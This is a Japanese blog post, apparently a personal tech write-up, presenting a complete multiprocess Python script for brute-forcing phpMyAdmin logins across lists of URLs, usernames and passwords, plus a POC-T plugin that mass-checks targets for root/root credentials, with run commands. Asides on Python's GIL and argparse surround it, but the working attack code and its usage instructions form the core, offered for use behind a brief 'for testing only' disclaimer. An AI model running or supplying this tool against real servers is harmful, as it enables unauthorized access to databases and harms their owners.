事の発端#
このコードはテスト用です。読者が使用することによって生じた結果については一切責任を負いません!
test404 さんのサイトも閉じてしまい、彼の phpMyAdmin マルチスレッドバッチブルートフォースツールは最終更新がv2.3
でした。
しかし、あまり使い勝手が良くありませんでした:
ネットで見つけたコードもあまり使えなかったので、自分で書くことにしました。
一部の説明#
検証の核心コード#
私はネットで多くの記事を探しましたが、核心部分は送信されたアカウントとパスワードのリクエストがログイン後のページに独自のキーワードを検証することでした。
例えば、bypass
さんが以前書いたスクリプトはlogin_form
フィールドを検出していました:
pma_password
フィールドを検出するものもありました:
さらにはphpMyAdmin is more friendly with a
を検出するものもあり、これは正しいパスワードと不正なパスワードの画面では検出できませんでした:
見て回るうちに、体験ボックスのこの記事が信頼できそうに見えました(その後、あまり信頼できませんでしたが)。
核心の実装方法は、requests
を使用してsession()
メソッドでセッションを保持し、セッションのid
と今回のtoken
を取得することです。
その後、アカウントとパスワードを加えてpost
し、送信中に id と token が変わらないようにします。
コマンドライン引数の設定#
機能的なスクリプトを書く際に引数を追加するのは初めてでしたが、この引数はあってもなくても良いものでした。
辞書をマウントするための-p
オプションを追加しました。コマンドライン引数の設定には一般的に 3 つの有名な方法があります。
- sys.argv + getopt
実際には単純な文字列分離で、技術的な内容は全くありません:
- argparse
多くの人に推奨されており、私も使ってみてとても使いやすかったです。
推奨記事
- click
Click は Flask のチーム pallets が開発した優れたオープンソースプロジェクトで、コマンドラインツールの開発のために多くのメソッドをラップしており、開発者は機能の実装に集中するだけで済みます。これはコマンドラインのために生まれた非常に有名な Python コマンドラインモジュールです。
デコレーターを使用しているため、少し不安になり、使用しませんでした。
マルチスレッド / マルチプロセスについて#
廖雪峰によるマルチスレッドが CPU を効果的に使用できない説明:
Python のスレッドは本物のスレッドですが、インタプリタがコードを実行する際に GIL ロック(Global Interpreter Lock)が存在します。すべての Python スレッドは実行前に GIL ロックを取得する必要があり、100 バイトコードを実行するごとにインタプリタは自動的に GIL ロックを解放し、他のスレッドに実行の機会を与えます。この GIL グローバルロックは実際にはすべてのスレッドの実行コードをロックしてしまうため、Python ではマルチスレッドは交互に実行されるだけで、100 個のスレッドが 100 コアの CPU で動作しても、1 つのコアしか使用できません。
GIL は Python インタプリタ設計の歴史的な遺産であり、通常私たちが使用するインタプリタは公式実装の CPython です。真にマルチコアを利用するためには、GIL なしのインタプリタを再実装しなければなりません。
したがって、Python ではマルチスレッドを使用できますが、マルチコアを効果的に利用できるとは期待しないでください。どうしてもマルチスレッドでマルチコアを利用したい場合は、C 拡張を通じて実現する必要がありますが、そうすると Python のシンプルで使いやすい特徴を失ってしまいます。
しかし、あまり心配する必要はありません。Python はマルチスレッドでマルチコアタスクを実現できませんが、マルチプロセスでマルチコアタスクを実現できます。複数の Python プロセスはそれぞれ独立した GIL ロックを持ち、互いに影響を与えません。
簡単に言えば、Python がマルチコアを利用するにはマルチプロセスを使用するしかありません。
このマルチスレッドとマルチプロセスの比較に関する記事:Python におけるシングルスレッド、マルチスレッドとマルチプロセスの効率比較実験からは次の結論が得られます:
CPU 集中的な操作ではマルチスレッドはシングルスレッドの線形実行性能よりも明らかに劣りますが、ネットワークリクエストのような忙しい待機ブロッキングスレッドの操作では、マルチスレッドの利点が非常に顕著になります。
マルチプロセスは CPU 集中的な操作でも IO 集中的な操作でもネットワークリクエスト集中的な操作(スレッドブロッキングが頻繁に発生する操作)でも性能の優位性を示します。ただし、ネットワークリクエスト集中的な操作ではマルチスレッドとほとんど差がありませんが、CPU などのリソースをより多く消費します。そのため、このような場合にはマルチスレッドを選択して実行することができます。
私の実装プロセスでは、次のように言えます:
マルチスレッドとマルチプロセスの効率はほぼ同じですが、マルチプロセスは CPU リソースの消費が非常に目立ちます。
マルチプロセス全コード#
ここでは、マルチプロセス版のpython phpmyadminブルートフォーススクリプト
を先に書きました。全コードは以下の通りです:
#!/usr/bin/env/python
# -*- coding: utf-8 -*-
'''
@author: soapffz
@function: マルチプロセスでphpmyadminのパスワードをブルートフォース(辞書のマウントをサポート)
@time: 2019-12-28
'''
import requests
import os
from multiprocessing.pool import Pool
import time
import sys
import argparse
from fake_useragent import UserAgent
import re
import timeit
class multi_phpmyadmin_verification:
def __init__(self):
args = self.argparse(sys.argv[1:])
if not args.p:
self.passwd_l = open("password.txt").read().splitlines()
elif not os.path.exists(args.p) or not os.path.isfile(args.p):
print("パスが存在しません、終了します")
exit(0)
else:
self.passwd_l = args.p
os.chdir(os.path.dirname(os.path.abspath(__file__)))
self.urls_l = open("url.txt").read().splitlines()
self.username_l = open("username.txt").read().splitlines()
self.multi_thread()
def argparse(self, argv):
# パラメータの解析
parser = argparse.ArgumentParser() # パースオブジェクトを作成
parser.add_argument(
"-p", type=str, metavar="dic_path", help="辞書のパス")
return parser.parse_args(argv)
def multi_thread(self):
ua = UserAgent() # User-Agentを生成するために使用
self.headers = {"User-Agent": ua.random} # ランダムなUser-Agentを取得
pool = Pool()
for url in self.urls_l:
for username in self.username_l:
for passwd in self.passwd_l:
pool.apply_async(self.verify, args=(
url, username, passwd,))
pool.close()
pool.join()
def verify(self, url, username, passwd):
time.sleep(0.01)
print("\r 現在のurl:{}、現在のユーザー名:{}、現在のパスワード:{}".format(
url, username, passwd), end="")
# \rパラメータを使用して現在の行の出力を更新
session = requests.session()
r1 = session.get(url)
if r1.status_code != 200:
return
session_id = re.findall(r'phpMyAdmin=(.*?);', r1.headers['Set-Cookie'])
token = list(re.compile(
r'name=\"token\" value=\"(.*?)\"').findall(r1.text))[0]
payload = {"set_session": session_id, "pma_username": username,
"pma_password": passwd, "server": "1", "target": "index.php", "token": token}
r2 = session.post(url, data=payload,
allow_redirects=False, headers=self.headers)
if r2.status_code == 302:
print("\n 成功しました!!!url:{},username:{},password:{}".format(
url, username, passwd))
if __name__ == "__main__":
start_time = timeit.default_timer()
multi_phpmyadmin_verification()
end_time = timeit.default_timer()
print("\n プログラムの実行が終了しました。総時間:{}".format(end_time-start_time))
使用方法:
- コードと同じディレクトリに
url.txt
、username.txt
、password.txt
を作成し、それぞれ必要なブルートフォースのurl
、ユーザー名、パスワードを対応して書き込みます。 - それぞれ
pip install
これらのライブラリ:
requests
multiprocessing
argparse
fake_useragent
timeit
python phpmyadmin.py
でコードを実行できます。-p
引数を追加し、その後に辞書のパスを指定できます。
実行結果は以下の通りです:
cpu
使用率が目立ちます:
プロセスプールはあなたのcpu
の数に基づいて自動的に設定されます。もし占有率が高すぎると思ったら、手動でpool = Pool()
の行の括弧内に希望の数値を入力してください。最大はあなたのcpu
コア数までで、少し減らすとcpu
を占有しなくなります。
マルチスレッド版#
[2020-02-12 更新]
POC-T
フレームワークを使用してマルチスレッドを管理できます。具体的にはgithubを参照してください。
以下のコードをphpmyadmin-weakpass.py
として保存し、POC-T
のscript
フォルダ内に置いてください:
# -*- coding: utf-8 -*-
import requests
import re
def poc(url_dict):
try:
session = requests.session()
req = session.get(url_dict)
if req.status_code == 200:
session_id = re.findall(
r'phpMyAdmin=(.*?);', req.headers['Set-Cookie'])
token = list(re.compile(
r'name=\"token\" value=\"(.*?)\"').findall(req.text))[0]
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 Edg/80.0.361.50", "Connection": "close"}
paramsPost = {"set_session": session_id, "pma_username": "root",
"pma_password": "root", "server": "1", "target": "index.php", "token": token}
r2 = session.post(url_dict, data=paramsPost,
allow_redirects=False, headers=headers)
if r2.status_code == 302:
return url_dict
except:
return False
使用方法:
python POC-T.py -s phpmyadmin-weakpass -t 100 -iF urls.txt -o first.txt
結果は以下の通りです: